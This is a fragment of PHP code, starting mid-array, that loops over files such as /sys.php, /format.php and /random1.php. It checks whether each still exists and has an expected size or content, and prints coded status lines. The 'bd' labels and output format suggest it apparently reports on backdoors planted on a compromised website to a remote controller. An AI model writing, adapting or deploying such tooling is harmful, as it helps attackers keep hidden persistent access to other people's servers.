"bd@@307415@@469", "/sys.php"=>"bd@@351172@@623", "/format.php"=>"bd@@303441@@7885", "/random1.php"=>"bd@@354462@@467"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d\n"; } } } die('!end!');